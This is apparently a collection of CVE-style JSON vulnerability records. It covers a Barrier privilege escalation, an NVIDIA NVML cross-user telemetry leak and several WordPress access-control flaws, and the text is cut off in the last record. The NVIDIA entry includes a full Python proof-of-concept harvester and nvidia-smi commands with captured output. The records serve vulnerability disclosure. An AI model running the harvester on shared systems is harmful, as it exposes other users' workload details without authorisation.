CWE-862

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Barrier",
          "vendor": "Barrier Project",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "advisories"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "----------------------------------------------------------------------------\nNotCVE Advisory \u2014 NotCVE-2026-0010\n----------------------------------------------------------------------------\n\n[-] Summary:\nBarrier 2.4.0 for Windows contains a local privilege escalation vulnerability\nin the IPC command interface exposed by the barrierd.exe service on\n127.0.0.1:24801. The IPC server accepts local TCP clients and processes a\ncommand line together with a one-byte elevation flag without authenticating the\nconnecting process or verifying that it is authorised to request elevated\nprocess creation. A low-privileged local attacker can therefore execute\narbitrary commands as NT AUTHORITY\\SYSTEM, resulting in complete compromise of\nthe affected host. CVSS:3.1 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\n[-] Affected:\nBarrier (Debauchee), version 2.4.0 for Windows.\nEarlier affected versions have not been established. Barrier is no longer\nmaintained and no patched release has been verified.\n\n[-] Technical Description:\nThe Barrier daemon (barrierd.exe) exposes an IPC server on the loopback\ninterface at TCP port 24801. A client sends an IHEL client hello identifying\nitself as a supported IPC client type, followed by a kIpcCommand (ICMD) message\ncontaining a command line and a one-byte elevation flag.\n\nThe reviewed IPC acceptance and command-processing paths do not authenticate\nthe connecting process, verify its Windows identity, or authorise it to request\nelevated process creation.\n\nWhen the elevation flag is enabled, DaemonApp::handleIpcMessage() forwards the\nsupplied command and elevation value to MSWindowsWatchdog. The watchdog locates\nwinlogon.exe in the relevant Windows session, duplicates its privileged token,\nand supplies the attacker-controlled command line to CreateProcessAsUser. The\ncommand therefore executes as NT AUTHORITY\\SYSTEM.\n\nBarrier additionally stores the last IPC-supplied values in the system settings\nas Command and Elevate. These values are loaded again when the daemon starts\nand passed back to the watchdog, so an attacker-supplied elevated command can\nexecute again after service restarts or system reboots until the stored command\nis cleared.\n\nWeaknesses: CWE-306 (Missing Authentication for Critical Function), CWE-862\n(Missing Authorization). Pattern: CAPEC-69 (Target Programs with Elevated\nPrivileges).\n\nA proof of concept is published in the researcher\u0027s repository (see References).\n\n[-] Timeline:\n[25/07/2026] - NotCVE ID requested.\n[27/07/2026] - NotCVE ID reserved.\n[27/07/2026] - Published as NotCVE-2026-0010.\n\n[-] Credit:\nDiscovered by Christopher Duram\n(https://www.linkedin.com/in/christopherduram/).\n\n[-] References:\nhttps://notcve.org/notcve/NotCVE-2026-0010\nhttps://github.com/cduram/NotCVE-2026-0010\nhttps://github.com/cduram/NotCVE-2026-0010/blob/main/Debauchee_Barrier_Privesc.py\nhttps://github.com/debauchee/barrier/releases/tag/v2.4.0\nhttps://github.com/debauchee/barrier/blob/master/src/lib/ipc/Ipc.h\nhttps://github.com/debauchee/barrier/blob/master/src/lib/ipc/IpcServer.cpp\nhttps://github.com/debauchee/barrier/blob/master/src/lib/ipc/IpcClientProxy.cpp\nhttps://github.com/debauchee/barrier/blob/master/src/lib/barrier/win32/DaemonApp.cpp\nhttps://github.com/debauchee/barrier/blob/master/src/lib/platform/MSWindowsWatchdog.cpp\n\n[-] About NotCVE:\nNotCVE (https://notcve.org) assigns public, timestamped NotCVE IDs to\nvulnerabilities not acknowledged by vendors. Vendor will not assign a CVE?\nRequest a NotCVE: https://notcve.org/form/ \u00b7 Contributors:\nhttps://notcve.org/hall/\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-862",
              "description": "CWE-862",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:13:23Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/111"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/111"
        },
        {
          "url": "https://github.com/cduram/NotCVE-2026-0010"
        },
        {
          "url": "https://github.com/cduram/NotCVE-2026-0010/blob/main/Debauchee_Barrier_Privesc.py"
        },
        {
          "url": "https://github.com/debauchee/barrier/blob/master/src/lib/barrier/win32/DaemonApp.cpp"
        },
        {
          "url": "https://github.com/debauchee/barrier/blob/master/src/lib/ipc/Ipc.h"
        },
        {
          "url": "https://github.com/debauchee/barrier/blob/master/src/lib/ipc/IpcClientProxy.cpp"
        },
        {
          "url": "https://github.com/debauchee/barrier/blob/master/src/lib/ipc/IpcServer.cpp"
        },
        {
          "url": "https://github.com/debauchee/barrier/blob/master/src/lib/platform/MSWindowsWatchdog.cpp"
        },
        {
          "url": "https://github.com/debauchee/barrier/releases/tag/v2.4.0"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://notcve.org"
        },
        {
          "url": "https://notcve.org/form/"
        },
        {
          "url": "https://notcve.org/hall/"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2026-0010"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/christopherduram/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/111"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[NotCVE-2026-0010] Barrier 2.4.0 for Windows Unauthenticated IPC Command Execution Allows Local Privilege Escalation to SYSTEM",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0154",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/111",
            "automated": true,
            "contentSha256": "b503862c9c1f04b93cd69920282a34e82b427d9934123c639e09e579968db961",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/111",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-19T10:57:52Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-11T08:13:23Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0154"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Linux GPU",
          "vendor": "Nvidia",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Abhinav Agarwal"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML\n============================================================================\n\nOn a multi-user Linux GPU host where mutually untrusted users can open\nthe same /dev/nvidia* devices - the driver\u0027s default mode is 0666 - an\nunprivileged user can enumerate another user\u0027s GPU processes and\nper-process GPU telemetry through standard NVML management APIs. NVML\ndirectly returned the foreign PID, the per-process GPU-memory\nallocation and the SM utilization; nvidia-smi additionally displayed\nthe process path, but the corresponding direct\nnvmlSystemGetProcessName() call was not captured. Measured on one\nconfiguration: A100, MIG off, bare metal, two local UIDs. No root, no\ngpu/video/render group membership, no capabilities, no CUDA context of\nthe attacker\u0027s own, no performance counters, no injected traffic, no\nrace. The attacker learns, for processes belonging to other users:\nPID, per-process GPU memory allocation, per-process SM utilization,\nand - via nvidia-smi - the binary path. Read-only workload metadata;\nno GPU memory contents are read. NVIDIA reviewed the finding and\ndetermined it is expected behavior.\n\nAffected: NVIDIA Linux GPU driver, NVML management plane\nTested: 595.71.05-open; core channels also reproduced on 565.57.01-open\nHardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off\nPlatform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9\n(driver-reported runtime 13.2)\nCWE: CWE-200 (exposure of information to an unauthorized actor),\nCWE-862 (missing authorization)\nStatus: Closed by NVIDIA as expected behavior. No fix. Public\ndisclosure authorized by NVIDIA PSIRT 2026-08-20.\nCVE: none assigned\nRef: Intigriti NVIDIA-W5AB0FZR\nCompanion: \"NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via\nundocumented peer-teardown ordering\" - same node, same driver, same\n0666 precondition\n\n\nRoot Cause\n----------\n\nTwo independent facts compound.\n\n(a) /dev/nvidia* is mode 0666 by driver default. This is set by the\nkernel module, not by a site udev rule.\n\n# grep -E \u0027ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly\u0027\n/proc/driver/nvidia/params\nModifyDeviceFiles: 1\nDeviceFileMode: 438\nRmProfilingAdminOnly: 1\n\n438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module\nrewrites existing device files to match its own defaults, so an\nadministrator who tightens the mode out-of-band can have it reverted\non module reload. The vendor sources agree: open-gpu-kernel-modules\ncarries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in\nkernel-open/nvidia/nv-reg.h with the comment \"The default mode is 0666\n(octal, rw-rw-rw-)\", and the driver README \"Device files\" section\ndocuments UID 0 / GID 0 / Mode 0666 as the default, adding \"Existing\ndevice files are changed if their attributes don\u0027t match these\ndefaults.\"\n\n(b) NVML management APIs apply no UID, cgroup, or capability check to\na caller holding that file descriptor. Any opener receives the\nnode-wide management view.\n\n+------------------+ +-------------------+\n| victim uid 1000 | | attacker uid 1011 |\n| CUDA workload | | no groups, Cap=0 |\n+--------+---------+ +---------+---------+\n| |\n| open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666)\nv v\n+-----------------------------------------------------------------------+\n| nvidia.ko -\u003e NVML management plane |\n| |\n| nvmlDeviceGetComputeRunningProcesses() -\u003e ALL pids, ALL uids |\n| nvmlDeviceGetProcessUtilization() -\u003e ALL pids, ALL uids |\n| ^ |\n| +--- no ownership check anywhere on this path|\n+-----------------------------------------------------------------------+\n\nNVML already has the concept of privilege-gating this exact call -\njust not in ordinary shared-GPU mode. From nvml.h, on both\nnvmlDeviceGetComputeRunningProcesses_v3 and\nnvmlDeviceGetMPSComputeRunningProcesses_v3:\n\n\"In MIG mode, if device handle is provided, the API returns aggregate\ninformation,\nonly if the caller has appropriate privileges.\"\n\nSo under MIG, process enumeration through the physical-device handle\nis privilege-gated. Outside MIG there is no corresponding UID\nownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3\ndocuments NVML_ERROR_NO_PERMISSION in its return list and does not\nreturn it here; nvmlDeviceGetProcessUtilization and\nnvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error\nat all.\n\nNote RmProfilingAdminOnly: 1 in the same params output. The CUPTI\nperformance-counter plane IS gated behind CAP_SYS_ADMIN on this exact\nnode - that gate was added as the fix for CVE-2018-6260. The NVML\nper-process management plane received no equivalent gate. That\nasymmetry is the finding.\n\n\nAttacker Prerequisites\n----------------------\n\nA shell account on the node. The observer used for all captured runs:\n\nuid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser)\n\nCapInh: 0000000000000000 -\u003e NONE\nCapPrm: 0000000000000000 -\u003e NONE\nCapEff: 0000000000000000 -\u003e NONE\nCapAmb: 0000000000000000 -\u003e NONE\nCapBnd: 000001ffffffffff\n\nNo sudo. Not in sudo/wheel/admin/docker/video/gpu/render.\nNo Docker socket. Cannot load kernel modules. Cannot ptrace other\nusers\u0027 processes.\n\n\nProof of Concept\n----------------\n\nVictim, uid 1000 - any long-running CUDA workload. The captured runs\nused nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a\nCUDA context works; this needs only pytorch:\n\npython3 -c \"import torch,time\nx=torch.randn(8192,8192,device=\u0027cuda\u0027)\nwhile True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)\"\n\nAttacker, uid 1011, via the shipped CLI:\n\nnvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory\n--format=csv,noheader\nnvidia-smi pmon -c 3\nnvidia-smi nvlink -gt d\n\nThat first command, run by an unprivileged user with no group\nmembership, is the entire exploit. Everything below is the same read\nstraight through NVML. Captured output as uid 1011 against the uid\n1000 victim:\n\npid, process_name, used_gpu_memory [MiB], gpu_uuid\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-fe44d319-939f-d747-de55-6802405cad8d\n\nFull PoC code, harnesses and raw evidence for both findings:\n\u003chttps://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E\u003e\n\nStraight through NVML with no nvidia-smi involved. This is the complete exploit:\n\n#!/usr/bin/env python3\n# unprivileged cross-UID GPU telemetry harvester\n# run as any local user: python3 harvest.py\n# pip install nvidia-ml-py (provides the `pynvml` module; the standalone\n# `pynvml` PyPI package is a deprecated shim as of v12)\nimport os, pwd, pynvml\n\ndef owner(pid):\ntry: return os.stat(\"/proc/%d\" % pid).st_uid\nexcept: return None\n\ndef exe(pid):\n# Tries NVML first. NOTE: this direct call was not verified cross-UID here -\n# see the note below the output. Falls back to cmdline, never to exe.\ntry:\nn = pynvml.nvmlSystemGetProcessName(pid)\nreturn n.decode() if isinstance(n, bytes) else n\nexcept Exception:\n# /proc/\u003cpid\u003e/cmdline is world-readable - this is how ps(1) shows other\n# users\u0027 command lines. /proc/\u003cpid\u003e/exe is NOT: readlink on it needs\n# PTRACE_MODE_READ, which this attacker does not have.\ntry: return open(\"/proc/%d/cmdline\" % pid,\"rb\").read().split(b\"\\0\")[0].decode()\nexcept: return \"?\"\n\ndef owner_name(u):\ntry: return pwd.getpwuid(u).pw_name\nexcept KeyError: return str(u) # no passwd entry: LDAP, containers\n\npynvml.nvmlInit()\nme = os.getuid()\nfound = 0\nfor i in range(pynvml.nvmlDeviceGetCount()):\nh = pynvml.nvmlDeviceGetHandleByIndex(i)\n\n# cross-UID process table + per-process GPU memory\nfor p in pynvml.nvmlDeviceGetComputeRunningProcesses(h):\nu = owner(p.pid)\nif u is not None and u != me:\nfound += 1\nprint(\"[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s\" % (\ni, p.pid, u, owner_name(u),\n(p.usedGpuMemory or 0) \u003e\u003e 20, exe(p.pid)))\n\n# cross-UID per-process SM / memory-controller utilization.\n# arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are\n# returned, so a small constant drains everything the driver still buffers.\ntry:\nfor pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000):\nu = owner(pu.pid)\nif u is not None and u != me:\nprint(\"[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%\" % (\ni, pu.pid, u, pu.smUtil, pu.memUtil))\nexcept pynvml.NVMLError as e:\n# NVML_ERROR_NOT_FOUND here means the driver\u0027s sample buffer is empty,\n# NOT that the call is gated. Poll for a few seconds and retry.\nprint(\" nvmlDeviceGetProcessUtilization -\u003e %s\" % e)\n\n# device-global telemetry, no gate at all\nprint(\"[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB\" % (\ni, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0,\npynvml.nvmlDeviceGetUtilizationRates(h).gpu,\npynvml.nvmlDeviceGetMemoryInfo(h).used \u003e\u003e 20))\n\nif not found:\nprint(\"no cross-UID GPU processes visible (is a victim workload running?)\")\n\nOutput:\n\n[CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41%\n\nNVML supplies the PID and the GPU memory figure. The binary path came\nfrom nvidia-smi --query-compute-apps=process_name, which is\nNVML-backed and returned the full path /usr/local/bin/all_reduce_perf\nto the unprivileged observer - that output is captured. The direct\ncall, nvmlSystemGetProcessName(), is what the PoC above uses and it is\nNOT something I captured cross-UID; NVML documents\nNVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather\nthan taking it from me. The captured harness resolved names through\n/proc. Note that /proc/\u003cpid\u003e/exe is not readable cross-UID, so if you\nfall back to procfs use /proc/\u003cpid\u003e/cmdline, not exe. The only field\nprocfs is needed for is the owning UID, via stat() on /proc/\u003cpid\u003e.\n\nPolling nvmlDeviceGetProcessUtilization in a loop yields a per-victim\nSM utilization time series. What that supports on the evidence here is\nbusy-versus-idle and job start/stop. Finer structure - step cadence,\nphase boundaries - is plausible but was not demonstrated, and I do not\nclaim it.\n\nResults: 5/5 positive sessions with all seven machine-scored success\ncriteria passing, and 2/2 negative controls (no victim workload, no\ncross-UID records) confirming the signal tracks the victim. For every\ncompute-app row root could see, the unprivileged observer saw a\nmatching row - same PID, same binary name, same GPU - in all five\npositive sessions. That comparison is field-level (whitespace and row\norder normalized, process name compared by basename), not a byte diff.\nAll channels leak with GPU accounting mode disabled, which is the\nfresh default, so this is not a case of an administrator having\nenabled accounting.\n\n\nTelemetry Channels\n------------------\n\nChannel NVML API CLI Result\n----------------------------- ---------------------------------------\n---------------------- --------------------------\nProcess PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps\nLEAKS (redundant with ps)\nBinary path nvidia-smi\u0027s NVML-backed query --query-compute-apps LEAKS\n(captured); direct\n(nvmlSystemGetProcessName NOT captured) NVML call unverified\nPer-process GPU memory nvmlDeviceGetComputeRunningProcesses\n--query-compute-apps LEAKS - GPU-specific\nPer-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS\n- GPU-specific\nNVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink\n-gt d LEAKS via CLI - prior art\nNVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS\nDevice power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global)\n\n\nImpact\n------\n\nA low-privileged tenant on a shared HPC or AI node passively monitors\nco-tenants in real time: who is running GPU work, which binary, the\nGPU memory footprint (a model-size proxy), the SM utilization timeline\n(training and idle cadence, step rate, job boundaries), and NVLink\npair activity (distributed job topology).\n\nNo computation content is read - no weights, a"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-276",
              "description": "CWE-276",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-862",
              "description": "CWE-862",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:52:12Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/77"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/77"
        },
        {
          "url": "https://github.com/abhinavagarwal07/nvidia-gpu-security-poc"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/77"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0082",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/77",
            "automated": true,
            "contentSha256": "eda9b97373cfa1b602256c1f71b15efde5a40742aa2d77e5e851378506b0282e",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/77",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-22T19:37:52Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:21Z",
    "dateUpdated": "2026-09-11T11:52:12Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0082"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-69393",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-02-23T21:01:39.658276Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-27T18:48:48.107Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://themeforest.net",
          "defaultStatus": "unaffected",
          "packageName": "exzo",
          "product": "Exzo",
          "vendor": "Jthemes",
          "versions": [
            {
              "lessThanOrEqual": "1.2.4",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Phat RiO | Patchstack Bug Bounty Program"
        }
      ],
      "datePublic": "2026-04-22T14:20:36.777Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Missing Authorization vulnerability in Jthemes Exzo exzo allows Exploiting Incorrectly Configured Access Control Security Levels.\u003cp\u003eThis issue affects Exzo: from n/a through \u003c= 1.2.4.\u003c/p\u003e"
            }
          ],
          "value": "Missing Authorization vulnerability in Jthemes Exzo exzo allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Exzo: from n/a through \u003c= 1.2.4."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-180",
          "descriptions": [
            {
              "lang": "en",
              "value": "Exploiting Incorrectly Configured Access Control Security Levels"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-28T16:14:40.076Z",
        "orgId": "21595511-bba5-4825-b968-b78d1f9984a3",
        "shortName": "Patchstack"
      },
      "references": [
        {
          "tags": [
            "vdb-entry"
          ],
          "url": "https://patchstack.com/database/Wordpress/Theme/exzo/vulnerability/wordpress-exzo-theme-1-2-4-broken-access-control-vulnerability?_s_id=cve"
        }
      ],
      "title": "WordPress Exzo theme \u003c= 1.2.4 - Broken Access Control vulnerability"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "21595511-bba5-4825-b968-b78d1f9984a3",
    "assignerShortName": "Patchstack",
    "cveId": "CVE-2025-69393",
    "datePublished": "2026-02-20T15:46:55.856Z",
    "dateReserved": "2025-12-31T20:13:16.053Z",
    "dateUpdated": "2026-04-28T16:14:40.076Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-69388",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-02-23T21:07:45.647043Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-28T20:58:26.209Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://wordpress.org/plugins",
          "defaultStatus": "unaffected",
          "packageName": "cliengo",
          "product": "Cliengo \u2013 Chatbot",
          "vendor": "cliengo",
          "versions": [
            {
              "changes": [
                {
                  "at": "3.0.5",
                  "status": "unaffected"
                }
              ],
              "lessThanOrEqual": "3.0.4",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Nabil Irawan | Patchstack Bug Bounty Program"
        }
      ],
      "datePublic": "2026-04-01T16:03:22.429Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Missing Authorization vulnerability in cliengo Cliengo \u2013 Chatbot cliengo allows Exploiting Incorrectly Configured Access Control Security Levels.\u003cp\u003eThis issue affects Cliengo \u2013 Chatbot: from n/a through \u003c= 3.0.4.\u003c/p\u003e"
            }
          ],
          "value": "Missing Authorization vulnerability in cliengo Cliengo \u2013 Chatbot cliengo allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Cliengo \u2013 Chatbot: from n/a through \u003c= 3.0.4."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-180",
          "descriptions": [
            {
              "lang": "en",
              "value": "Exploiting Incorrectly Configured Access Control Security Levels"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-28T16:14:39.780Z",
        "orgId": "21595511-bba5-4825-b968-b78d1f9984a3",
        "shortName": "Patchstack"
      },
      "references": [
        {
          "tags": [
            "vdb-entry"
          ],
          "url": "https://patchstack.com/database/Wordpress/Plugin/cliengo/vulnerability/wordpress-cliengo-chatbot-plugin-3-0-4-broken-access-control-vulnerability?_s_id=cve"
        }
      ],
      "title": "WordPress Cliengo \u2013 Chatbot plugin \u003c= 3.0.4 - Broken Access Control vulnerability"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "21595511-bba5-4825-b968-b78d1f9984a3",
    "assignerShortName": "Patchstack",
    "cveId": "CVE-2025-69388",
    "datePublished": "2026-02-20T15:46:54.922Z",
    "dateReserved": "2025-12-31T20:13:11.108Z",
    "dateUpdated": "2026-04-28T20:58:26.209Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-69385",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-27T18:51:49.737781Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-27T18:51:52.605Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://themeforest.net",
          "defaultStatus": "unaffected",
          "packageName": "cartify",
          "product": "Cartify - WooCommerce Gutenberg WordPress Theme",
          "vendor": "AgniHD",
          "versions": [
            {
              "lessThanOrEqual": "1.3",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Denver Jackson | Patchstack Bug Bounty Program"
        }
      ],
      "datePublic": "2026-04-22T14:20:37.409Z",
      "descriptions": [
